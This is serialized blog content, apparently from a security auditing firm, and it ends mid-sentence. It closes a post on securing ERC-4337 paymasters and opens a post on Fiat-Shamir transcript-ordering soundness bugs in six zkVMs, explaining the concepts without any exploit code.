charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":24,"tag":25,"props":114510,"children":114511},{},[114512],{"type":29,"value":114513},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":24,"tag":43040,"props":114515,"children":114516},{"id":10547},[114517],{"type":29,"value":10550},{"type":24,"tag":25,"props":114519,"children":114520},{},[114521],{"type":29,"value":114522},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":24,"tag":3834,"props":114524,"children":114525},{},[114526,114531,114536,114541,114546],{"type":24,"tag":101,"props":114527,"children":114528},{},[114529],{"type":29,"value":114530},"Always collect full payment during validation, not after execution",{"type":24,"tag":101,"props":114532,"children":114533},{},[114534],{"type":29,"value":114535},"Be conservative with gas estimations and include safety margins",{"type":24,"tag":101,"props":114537,"children":114538},{},[114539],{"type":29,"value":114540},"Carefully validate all user inputs and token transfers",{"type":24,"tag":101,"props":114542,"children":114543},{},[114544],{"type":29,"value":114545},"Test extensively, including simulation of malicious behavior",{"type":24,"tag":101,"props":114547,"children":114548},{},[114549,114551,114556],{"type":29,"value":114550},"Always review changes in new ",{"type":24,"tag":135,"props":114552,"children":114554},{"className":114553},[],[114555],{"type":29,"value":109053},{"type":29,"value":114557}," versions, as they may impact your paymaster's design and security assumptions",{"type":24,"tag":25,"props":114559,"children":114560},{},[114561,114563,114568,114570,114575,114577,114582],{"type":29,"value":114562},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":24,"tag":135,"props":114564,"children":114566},{"className":114565},[],[114567],{"type":29,"value":109053},{"type":29,"value":114569}," contract's behavior could potentially break existing ",{"type":24,"tag":135,"props":114571,"children":114573},{"className":114572},[],[114574],{"type":29,"value":109125},{"type":29,"value":114576}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":24,"tag":135,"props":114578,"children":114580},{"className":114579},[],[114581],{"type":29,"value":109053},{"type":29,"value":114583}," versions.",{"type":24,"tag":25,"props":114585,"children":114586},{},[114587],{"type":29,"value":114588},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":24,"tag":25,"props":114590,"children":114591},{},[114592],{"type":29,"value":114593},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":24,"tag":10562,"props":114595,"children":114596},{},[114597],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":114599},[114600,114601,114602,114609,114614,114615],{"id":108887,"depth":284,"text":108890},{"id":108903,"depth":284,"text":108906},{"id":108942,"depth":284,"text":108945,"children":114603},[114604,114605,114606,114607,114608],{"id":108965,"depth":294,"text":108972},{"id":109006,"depth":294,"text":109009},{"id":109032,"depth":294,"text":109035},{"id":22421,"depth":294,"text":109053},{"id":109125,"depth":294,"text":109136},{"id":109188,"depth":284,"text":114610,"children":114611},"Understanding the EntryPoint's Flow",[114612,114613],{"id":109244,"depth":294,"text":109247},{"id":109429,"depth":294,"text":109432},{"id":109672,"depth":284,"text":109678},{"id":111272,"depth":284,"text":111278,"children":114616},[114617,114618],{"id":111332,"depth":294,"text":111335},{"id":111392,"depth":294,"text":111395},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":114623,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":114624,"description":114625,"date":114626,"author":114627,"image":114630,"isFeatured":16,"onBlogPage":16,"tags":114632,"body":114634,"_type":10599,"_id":130439,"_source":10601,"_file":130440,"_stem":130441,"_extension":10604},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[114628,114629],"himanshu","valter",{"src":114631,"width":104058,"height":21324},"/posts/zkvms-unfaithful-claims/title.png",[114633],"zkVM",{"type":21,"children":114635,"toc":130403},[114636,114641,114683,114696,114699,114705,114710,114838,114841,114847,114853,114858,114890,115038,115043,115166,115177,115188,115211,115222,115227,115260,115268,115273,115276,115282,115287,115293,115298,115303,115311,115329,115470,115475,115481,115574,116308,116376,116387,116395,116869,116875,117314,117654,117807,117812,118700,118856,118862,118954,118959,119544,119994,120070,120076,120081,120150,120160,120176,120186,120247,120666,120698,120708,120883,120888,120898,121498,121686,121704,121707,121713,121718,121726,121758,122120,122125,122210,122213,122219,122227,122232,122235,122241,122246,122254,122262,122270,122278,122311,122319,122327,122418,122669,122996,123004,123034,123204,123530,123535,123540,123557,123560,123565,123570,123582,123594,124185,124197,124209,124216,124224,124236,124244,124259,124264,124544,124563,124658,124677,124693,124696,124702,124707,124712,124719,124727,124734,124742,124755,124773,125233,125335,125340,125345,125361,125364,125370,125375,125387,125398,125403,125793,125800,125808,125833,125853,126109,126120,126139,126523,126869,127099,127258,127418,127986,127991,128017,128020,128026,128031,128038,128046,128059,128131,128142,128150,128160,128168,128179,128453,128542,128571,128574,128579,128713,128725,128732,128737,128890,128916,128923,128931,128936,129002,129007,129397,129484,129500,129503,129509,129514,129520,129620,129679,129684,129690,129695,129703,129708,129714,129719,129724,129730,129735,129738,129744,129750,129755,129760,129765,129770,129775,129778,129784,129947,129952,129955,129960,129971,130288,130293,130317,130322,130340,130345,130348,130354,130359,130364,130374,130379,130389,130399],{"type":24,"tag":25,"props":114637,"children":114638},{},[114639],{"type":29,"value":114640},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":24,"tag":25,"props":114642,"children":114643},{},[114644,114646,114651,114652,114657,114658,114663,114664,114669,114670,114675,114676,114681],{"type":29,"value":114645},"We found six systems where this faithfulness breaks. Across ",{"type":24,"tag":213,"props":114647,"children":114648},{},[114649],{"type":29,"value":114650},"Jolt",{"type":29,"value":158},{"type":24,"tag":213,"props":114653,"children":114654},{},[114655],{"type":29,"value":114656},"Nexus",{"type":29,"value":158},{"type":24,"tag":213,"props":114659,"children":114660},{},[114661],{"type":29,"value":114662},"Cairo-M",{"type":29,"value":158},{"type":24,"tag":213,"props":114665,"children":114666},{},[114667],{"type":29,"value":114668},"Ceno",{"type":29,"value":158},{"type":24,"tag":213,"props":114671,"children":114672},{},[114673],{"type":29,"value":114674},"Expander",{"type":29,"value":14204},{"type":24,"tag":213,"props":114677,"children":114678},{},[114679],{"type":29,"value":114680},"Binius64",{"type":29,"value":114682},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":24,"tag":25,"props":114684,"children":114685},{},[114686,114688,114694],{"type":29,"value":114687},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":24,"tag":32,"props":114689,"children":114691},{"href":114690},"#challenges",[114692],{"type":29,"value":114693},"Challenges",{"type":29,"value":114695}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":24,"tag":26485,"props":114697,"children":114698},{},[],{"type":24,"tag":62,"props":114700,"children":114702},{"id":114701},"jargon-cheat-sheet",[114703],{"type":29,"value":114704},"Jargon Cheat Sheet",{"type":24,"tag":25,"props":114706,"children":114707},{},[114708],{"type":29,"value":114709},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":24,"tag":97,"props":114711,"children":114712},{},[114713,114723,114733,114743,114753,114763,114773,114783,114793,114803,114813,114823],{"type":24,"tag":101,"props":114714,"children":114715},{},[114716,114721],{"type":24,"tag":213,"props":114717,"children":114718},{},[114719],{"type":29,"value":114720},"Fiat-Shamir",{"type":29,"value":114722},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":24,"tag":101,"props":114724,"children":114725},{},[114726,114731],{"type":24,"tag":213,"props":114727,"children":114728},{},[114729],{"type":29,"value":114730},"Transcript",{"type":29,"value":114732},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":24,"tag":101,"props":114734,"children":114735},{},[114736,114741],{"type":24,"tag":213,"props":114737,"children":114738},{},[114739],{"type":29,"value":114740},"Polynomial Commitment",{"type":29,"value":114742},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":24,"tag":101,"props":114744,"children":114745},{},[114746,114751],{"type":24,"tag":213,"props":114747,"children":114748},{},[114749],{"type":29,"value":114750},"Sumcheck",{"type":29,"value":114752},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":24,"tag":101,"props":114754,"children":114755},{},[114756,114761],{"type":24,"tag":213,"props":114757,"children":114758},{},[114759],{"type":29,"value":114760},"MLE (Multilinear Extension)",{"type":29,"value":114762},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":24,"tag":101,"props":114764,"children":114765},{},[114766,114771],{"type":24,"tag":213,"props":114767,"children":114768},{},[114769],{"type":29,"value":114770},"Lookup / LogUp",{"type":29,"value":114772},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":24,"tag":101,"props":114774,"children":114775},{},[114776,114781],{"type":24,"tag":213,"props":114777,"children":114778},{},[114779],{"type":29,"value":114780},"AIR",{"type":29,"value":114782},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":24,"tag":101,"props":114784,"children":114785},{},[114786,114791],{"type":24,"tag":213,"props":114787,"children":114788},{},[114789],{"type":29,"value":114790},"STARK",{"type":29,"value":114792},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":24,"tag":101,"props":114794,"children":114795},{},[114796,114801],{"type":24,"tag":213,"props":114797,"children":114798},{},[114799],{"type":29,"value":114800},"FRI",{"type":29,"value":114802},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":24,"tag":101,"props":114804,"children":114805},{},[114806,114811],{"type":24,"tag":213,"props":114807,"children":114808},{},[114809],{"type":29,"value":114810},"OODS",{"type":29,"value":114812},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":24,"tag":101,"props":114814,"children":114815},{},[114816,114821],{"type":24,"tag":213,"props":114817,"children":114818},{},[114819],{"type":29,"value":114820},"GKR",{"type":29,"value":114822},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":24,"tag":101,"props":114824,"children":114825},{},[114826,114831,114833],{"type":24,"tag":213,"props":114827,"children":114828},{},[114829],{"type":29,"value":114830},"claimed_sum / opening_claim",{"type":29,"value":114832},": Prover-supplied values that feed into verification equations. ",{"type":24,"tag":213,"props":114834,"children":114835},{},[114836],{"type":29,"value":114837},"These are the usual suspects for binding bugs.",{"type":24,"tag":26485,"props":114839,"children":114840},{},[],{"type":24,"tag":62,"props":114842,"children":114844},{"id":114843},"what-are-we-even-breaking",[114845],{"type":29,"value":114846},"What Are We Even Breaking?",{"type":24,"tag":85,"props":114848,"children":114850},{"id":114849},"what-is-a-zkvm",[114851],{"type":29,"value":114852},"What is a zkVM?",{"type":24,"tag":25,"props":114854,"children":114855},{},[114856],{"type":29,"value":114857},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":24,"tag":25,"props":114859,"children":114860},{},[114861,114863,114888],{"type":29,"value":114862},"Formally, the verifier is convinced that there exists a valid trace ",{"type":24,"tag":135,"props":114864,"children":114866},{"className":114865},[11705,11706],[114867],{"type":24,"tag":271,"props":114868,"children":114870},{"className":114869},[11711],[114871],{"type":24,"tag":271,"props":114872,"children":114874},{"className":114873,"ariaHidden":5670},[11716],[114875],{"type":24,"tag":271,"props":114876,"children":114878},{"className":114877},[11721],[114879,114883],{"type":24,"tag":271,"props":114880,"children":114882},{"className":114881,"style":29268},[11726],[],{"type":24,"tag":271,"props":114884,"children":114886},{"className":114885,"style":29274},[11732,29273],[114887],{"type":29,"value":13704},{"type":29,"value":114889}," such that:",{"type":24,"tag":25,"props":114891,"children":114892},{},[114893],{"type":24,"tag":135,"props":114894,"children":114896},{"className":114895},[11705,11706],[114897],{"type":24,"tag":271,"props":114898,"children":114900},{"className":114899},[11711],[114901],{"type":24,"tag":271,"props":114902,"children":114904},{"className":114903,"ariaHidden":5670},[11716],[114905,114949,115024],{"type":24,"tag":271,"props":114906,"children":114908},{"className":114907},[11721],[114909,114913,114919,114923,114928,114932,114936,114941,114945],{"type":24,"tag":271,"props":114910,"children":114912},{"className":114911,"style":99752},[11726],[],{"type":24,"tag":271,"props":114914,"children":114916},{"className":114915},[11732],[114917],{"type":29,"value":114918},"∃",{"type":24,"tag":271,"props":114920,"children":114922},{"className":114921,"style":11908},[11810],[],{"type":24,"tag":271,"props":114924,"children":114926},{"className":114925,"style":29274},[11732,29273],[114927],{"type":29,"value":13704},{"type":24,"tag":271,"props":114929,"children":114931},{"className":114930,"style":11908},[11810],[],{"type":24,"tag":271,"props":114933,"children":114935},{"className":114934,"style":11908},[11810],[],{"type":24,"tag":271,"props":114937,"children":114939},{"className":114938},[11913],[114940],{"type":29,"value":12210},{"type":24,"tag":271,"props":114942,"children":114944},{"className":114943,"style":11908},[11810],[],{"type":24,"tag":271,"props":114946,"children":114948},{"className":114947,"style":11908},[11810],[],{"type":24,"tag":271,"props":114950,"children":114952},{"className":114951},[11721],[114953,114957,114968,114973,114978,114983,114987,114992,114997,115001,115006,115011,115015,115020],{"type":24,"tag":271,"props":114954,"children":114956},{"className":114955,"style":11831},[11726],[],{"type":24,"tag":271,"props":114958,"children":114960},{"className":114959},[11732],[114961],{"type":24,"tag":271,"props":114962,"children":114965},{"className":114963},[11732,114964],"mathsf",[114966],{"type":29,"value":114967},"VM",{"type":24,"tag":271,"props":114969,"children":114971},{"className":114970},[29402],[114972],{"type":29,"value":606},{"type":24,"tag":271,"props":114974,"children":114976},{"className":114975,"style":29274},[11732,29273],[114977],{"type":29,"value":29277},{"type":24,"tag":271,"props":114979,"children":114981},{"className":114980},[11842],[114982],{"type":29,"value":11845},{"type":24,"tag":271,"props":114984,"children":114986},{"className":114985,"style":11849},[11810],[],{"type":24,"tag":271,"props":114988,"children":114990},{"className":114989,"style":101857},[11732,29273],[114991],{"type":29,"value":13850},{"type":24,"tag":271,"props":114993,"children":114995},{"className":114994},[11842],[114996],{"type":29,"value":11845},{"type":24,"tag":271,"props":114998,"children":115000},{"className":114999,"style":11849},[11810],[],{"type":24,"tag":271,"props":115002,"children":115004},{"className":115003,"style":29274},[11732,29273],[115005],{"type":29,"value":13704},{"type":24,"tag":271,"props":115007,"children":115009},{"className":115008},[29424],[115010],{"type":29,"value":2693},{"type":24,"tag":271,"props":115012,"children":115014},{"className":115013,"style":11908},[11810],[],{"type":24,"tag":271,"props":115016,"children":115018},{"className":115017},[11913],[115019],{"type":29,"value":30019},{"type":24,"tag":271,"props":115021,"children":115023},{"className":115022,"style":11908},[11810],[],{"type":24,"tag":271,"props":115025,"children":115027},{"className":115026},[11721],[115028,115032],{"type":24,"tag":271,"props":115029,"children":115031},{"className":115030,"style":29268},[11726],[],{"type":24,"tag":271,"props":115033,"children":115036},{"className":115034,"style":115035},[11732,29273],"margin-right:0.22222em;",[115037],{"type":29,"value":13880},{"type":24,"tag":25,"props":115039,"children":115040},{},[115041],{"type":29,"value":115042},"where:",{"type":24,"tag":97,"props":115044,"children":115045},{},[115046,115076,115106,115136],{"type":24,"tag":101,"props":115047,"children":115048},{},[115049,115074],{"type":24,"tag":135,"props":115050,"children":115052},{"className":115051},[11705,11706],[115053],{"type":24,"tag":271,"props":115054,"children":115056},{"className":115055},[11711],[115057],{"type":24,"tag":271,"props":115058,"children":115060},{"className":115059,"ariaHidden":5670},[11716],[115061],{"type":24,"tag":271,"props":115062,"children":115064},{"className":115063},[11721],[115065,115069],{"type":24,"tag":271,"props":115066,"children":115068},{"className":115067,"style":29268},[11726],[],{"type":24,"tag":271,"props":115070,"children":115072},{"className":115071,"style":29274},[11732,29273],[115073],{"type":29,"value":29277},{"type":29,"value":115075}," = program/circuit description (public)",{"type":24,"tag":101,"props":115077,"children":115078},{},[115079,115104],{"type":24,"tag":135,"props":115080,"children":115082},{"className":115081},[11705,11706],[115083],{"type":24,"tag":271,"props":115084,"children":115086},{"className":115085},[11711],[115087],{"type":24,"tag":271,"props":115088,"children":115090},{"className":115089,"ariaHidden":5670},[11716],[115091],{"type":24,"tag":271,"props":115092,"children":115094},{"className":115093},[11721],[115095,115099],{"type":24,"tag":271,"props":115096,"children":115098},{"className":115097,"style":29268},[11726],[],{"type":24,"tag":271,"props":115100,"children":115102},{"className":115101,"style":101857},[11732,29273],[115103],{"type":29,"value":13850},{"type":29,"value":115105}," = public input",{"type":24,"tag":101,"props":115107,"children":115108},{},[115109,115134],{"type":24,"tag":135,"props":115110,"children":115112},{"className":115111},[11705,11706],[115113],{"type":24,"tag":271,"props":115114,"children":115116},{"className":115115},[11711],[115117],{"type":24,"tag":271,"props":115118,"children":115120},{"className":115119,"ariaHidden":5670},[11716],[115121],{"type":24,"tag":271,"props":115122,"children":115124},{"className":115123},[11721],[115125,115129],{"type":24,"tag":271,"props":115126,"children":115128},{"className":115127,"style":29268},[11726],[],{"type":24,"tag":271,"props":115130,"children":115132},{"className":115131,"style":115035},[11732,29273],[115133],{"type":29,"value":13880},{"type":29,"value":115135}," = claimed public output",{"type":24,"tag":101,"props":115137,"children":115138},{},[115139,115164],{"type":24,"tag":135,"props":115140,"children":115142},{"className":115141},[11705,11706],[115143],{"type":24,"tag":271,"props":115144,"children":115146},{"className":115145},[11711],[115147],{"type":24,"tag":271,"props":115148,"children":115150},{"className":115149,"ariaHidden":5670},[11716],[115151],{"type":24,"tag":271,"props":115152,"children":115154},{"className":115153},[11721],[115155,115159],{"type":24,"tag":271,"props":115156,"children":115158},{"className":115157,"style":29268},[11726],[],{"type":24,"tag":271,"props":115160,"children":115162},{"className":115161,"style":29274},[11732,29273],[115163],{"type":29,"value":13704},{"type":29,"value":115165}," = private witness/trace (registers, memory history, intermediate values)",{"type":24,"tag":25,"props":115167,"children":115168},{},[115169,115171,115175],{"type":29,"value":115170},"The verifier does ",{"type":24,"tag":213,"props":115172,"children":115173},{},[115174],{"type":29,"value":26180},{"type":29,"value":115176}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":24,"tag":25,"props":115178,"children":115179},{},[115180,115182,115187],{"type":29,"value":115181},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":24,"tag":213,"props":115183,"children":115184},{},[115185],{"type":29,"value":115186},"soundness",{"type":29,"value":12210},{"type":24,"tag":97,"props":115189,"children":115190},{},[115191,115201],{"type":24,"tag":101,"props":115192,"children":115193},{},[115194,115199],{"type":24,"tag":213,"props":115195,"children":115196},{},[115197],{"type":29,"value":115198},"Completeness",{"type":29,"value":115200},": honest execution verifies.",{"type":24,"tag":101,"props":115202,"children":115203},{},[115204,115209],{"type":24,"tag":213,"props":115205,"children":115206},{},[115207],{"type":29,"value":115208},"Soundness",{"type":29,"value":115210},": false execution should not verify.",{"type":24,"tag":25,"props":115212,"children":115213},{},[115214,115216,115220],{"type":29,"value":115215},"We are breaking ",{"type":24,"tag":213,"props":115217,"children":115218},{},[115219],{"type":29,"value":115186},{"type":29,"value":115221}," in all six systems.",{"type":24,"tag":25,"props":115223,"children":115224},{},[115225],{"type":29,"value":115226},"In all six codebases, verification follows this abstract flow:",{"type":24,"tag":3834,"props":115228,"children":115229},{},[115230,115235,115240,115245,115250,115255],{"type":24,"tag":101,"props":115231,"children":115232},{},[115233],{"type":29,"value":115234},"Fix public statement data.",{"type":24,"tag":101,"props":115236,"children":115237},{},[115238],{"type":29,"value":115239},"Parse proof payload (commitments, reduction messages, openings).",{"type":24,"tag":101,"props":115241,"children":115242},{},[115243],{"type":29,"value":115244},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":24,"tag":101,"props":115246,"children":115247},{},[115248],{"type":29,"value":115249},"Check constraint equations at sampled points.",{"type":24,"tag":101,"props":115251,"children":115252},{},[115253],{"type":29,"value":115254},"Check PCS/opening consistency.",{"type":24,"tag":101,"props":115256,"children":115257},{},[115258],{"type":29,"value":115259},"Accept only if all checks are jointly consistent.",{"type":24,"tag":25,"props":115261,"children":115262},{},[115263],{"type":24,"tag":74,"props":115264,"children":115267},{"alt":115265,"src":115266},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":24,"tag":25,"props":115269,"children":115270},{},[115271],{"type":29,"value":115272},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":24,"tag":26485,"props":115274,"children":115275},{},[],{"type":24,"tag":62,"props":115277,"children":115279},{"id":115278},"the-building-blocks",[115280],{"type":29,"value":115281},"The Building Blocks",{"type":24,"tag":25,"props":115283,"children":115284},{},[115285],{"type":29,"value":115286},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":24,"tag":85,"props":115288,"children":115290},{"id":115289},"the-fiat-shamir-transform",[115291],{"type":29,"value":115292},"The Fiat-Shamir Transform",{"type":24,"tag":25,"props":115294,"children":115295},{},[115296],{"type":29,"value":115297},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":24,"tag":25,"props":115299,"children":115300},{},[115301],{"type":29,"value":115302},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":24,"tag":25,"props":115304,"children":115305},{},[115306],{"type":24,"tag":74,"props":115307,"children":115310},{"alt":115308,"src":115309},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":24,"tag":25,"props":115312,"children":115313},{},[115314,115316,115320,115322,115327],{"type":29,"value":115315},"The hash (transcript) ",{"type":24,"tag":213,"props":115317,"children":115318},{},[115319],{"type":29,"value":14236},{"type":29,"value":115321}," include everything that affects verification ",{"type":24,"tag":213,"props":115323,"children":115324},{},[115325],{"type":29,"value":115326},"BEFORE",{"type":29,"value":115328}," the challenges derived from it are used.",{"type":24,"tag":25,"props":115330,"children":115331},{},[115332,115334,115360,115362,115387,115389,115414,115416,115441,115443,115468],{"type":29,"value":115333},"If some value ",{"type":24,"tag":135,"props":115335,"children":115337},{"className":115336},[11705,11706],[115338],{"type":24,"tag":271,"props":115339,"children":115341},{"className":115340},[11711],[115342],{"type":24,"tag":271,"props":115343,"children":115345},{"className":115344,"ariaHidden":5670},[11716],[115346],{"type":24,"tag":271,"props":115347,"children":115349},{"className":115348},[11721],[115350,115354],{"type":24,"tag":271,"props":115351,"children":115353},{"className":115352,"style":29268},[11726],[],{"type":24,"tag":271,"props":115355,"children":115357},{"className":115356,"style":115035},[11732,29273],[115358],{"type":29,"value":115359},"V",{"type":29,"value":115361}," affects a verification equation, but ",{"type":24,"tag":135,"props":115363,"children":115365},{"className":115364},[11705,11706],[115366],{"type":24,"tag":271,"props":115367,"children":115369},{"className":115368},[11711],[115370],{"type":24,"tag":271,"props":115371,"children":115373},{"className":115372,"ariaHidden":5670},[11716],[115374],{"type":24,"tag":271,"props":115375,"children":115377},{"className":115376},[11721],[115378,115382],{"type":24,"tag":271,"props":115379,"children":115381},{"className":115380,"style":29268},[11726],[],{"type":24,"tag":271,"props":115383,"children":115385},{"className":115384,"style":115035},[11732,29273],[115386],{"type":29,"value":115359},{"type":29,"value":115388}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":24,"tag":135,"props":115390,"children":115392},{"className":115391},[11705,11706],[115393],{"type":24,"tag":271,"props":115394,"children":115396},{"className":115395},[11711],[115397],{"type":24,"tag":271,"props":115398,"children":115400},{"className":115399,"ariaHidden":5670},[11716],[115401],{"type":24,"tag":271,"props":115402,"children":115404},{"className":115403},[11721],[115405,115409],{"type":24,"tag":271,"props":115406,"children":115408},{"className":115407,"style":29268},[11726],[],{"type":24,"tag":271,"props":115410,"children":115412},{"className":115411,"style":115035},[11732,29273],[115413],{"type":29,"value":115359},{"type":29,"value":115415},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":24,"tag":135,"props":115417,"children":115419},{"className":115418},[11705,11706],[115420],{"type":24,"tag":271,"props":115421,"children":115423},{"className":115422},[11711],[115424],{"type":24,"tag":271,"props":115425,"children":115427},{"className":115426,"ariaHidden":5670},[11716],[115428],{"type":24,"tag":271,"props":115429,"children":115431},{"className":115430},[11721],[115432,115436],{"type":24,"tag":271,"props":115433,"children":115435},{"className":115434,"style":29268},[11726],[],{"type":24,"tag":271,"props":115437,"children":115439},{"className":115438,"style":115035},[11732,29273],[115440],{"type":29,"value":115359},{"type":29,"value":115442},", which may allow it to choose ",{"type":24,"tag":135,"props":115444,"children":115446},{"className":115445},[11705,11706],[115447],{"type":24,"tag":271,"props":115448,"children":115450},{"className":115449},[11711],[115451],{"type":24,"tag":271,"props":115452,"children":115454},{"className":115453,"ariaHidden":5670},[11716],[115455],{"type":24,"tag":271,"props":115456,"children":115458},{"className":115457},[11721],[115459,115463],{"type":24,"tag":271,"props":115460,"children":115462},{"className":115461,"style":29268},[11726],[],{"type":24,"tag":271,"props":115464,"children":115466},{"className":115465,"style":115035},[11732,29273],[115467],{"type":29,"value":115359},{"type":29,"value":115469}," exactly so that the verification passes, even though it should not.",{"type":24,"tag":25,"props":115471,"children":115472},{},[115473],{"type":29,"value":115474},"This is the bug class we found in all six systems.",{"type":24,"tag":85,"props":115476,"children":115478},{"id":115477},"the-sumcheck-protocol",[115479],{"type":29,"value":115480},"The Sumcheck Protocol",{"type":24,"tag":25,"props":115482,"children":115483},{},[115484,115486,115572],{"type":29,"value":115485},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":24,"tag":135,"props":115487,"children":115489},{"className":115488},[11705,11706],[115490],{"type":24,"tag":271,"props":115491,"children":115493},{"className":115492},[11711],[115494],{"type":24,"tag":271,"props":115495,"children":115497},{"className":115496,"ariaHidden":5670},[11716],[115498],{"type":24,"tag":271,"props":115499,"children":115501},{"className":115500},[11721],[115502,115506,115511,115516,115521,115525,115530],{"type":24,"tag":271,"props":115503,"children":115505},{"className":115504,"style":11831},[11726],[],{"type":24,"tag":271,"props":115507,"children":115509},{"className":115508},[29402],[115510],{"type":29,"value":83408},{"type":24,"tag":271,"props":115512,"children":115514},{"className":115513},[11732],[115515],{"type":29,"value":4121},{"type":24,"tag":271,"props":115517,"children":115519},{"className":115518},[11842],[115520],{"type":29,"value":11845},{"type":24,"tag":271,"props":115522,"children":115524},{"className":115523,"style":11849},[11810],[],{"type":24,"tag":271,"props":115526,"children":115528},{"className":115527},[11732],[115529],{"type":29,"value":156},{"type":24,"tag":271,"props":115531,"children":115533},{"className":115532},[29424],[115534,115539],{"type":24,"tag":271,"props":115535,"children":115537},{"className":115536},[29424],[115538],{"type":29,"value":41809},{"type":24,"tag":271,"props":115540,"children":115542},{"className":115541},[11747],[115543],{"type":24,"tag":271,"props":115544,"children":115546},{"className":115545},[11752],[115547],{"type":24,"tag":271,"props":115548,"children":115550},{"className":115549},[11757],[115551],{"type":24,"tag":271,"props":115552,"children":115555},{"className":115553,"style":115554},[11762],"height:0.6644em;",[115556],{"type":24,"tag":271,"props":115557,"children":115558},{"style":11766},[115559,115563],{"type":24,"tag":271,"props":115560,"children":115562},{"className":115561,"style":11772},[11771],[],{"type":24,"tag":271,"props":115564,"children":115566},{"className":115565},[11777,11778,11779,11780],[115567],{"type":24,"tag":271,"props":115568,"children":115570},{"className":115569},[11732,29273,11780],[115571],{"type":29,"value":6054},{"type":29,"value":115573},"), i.e the 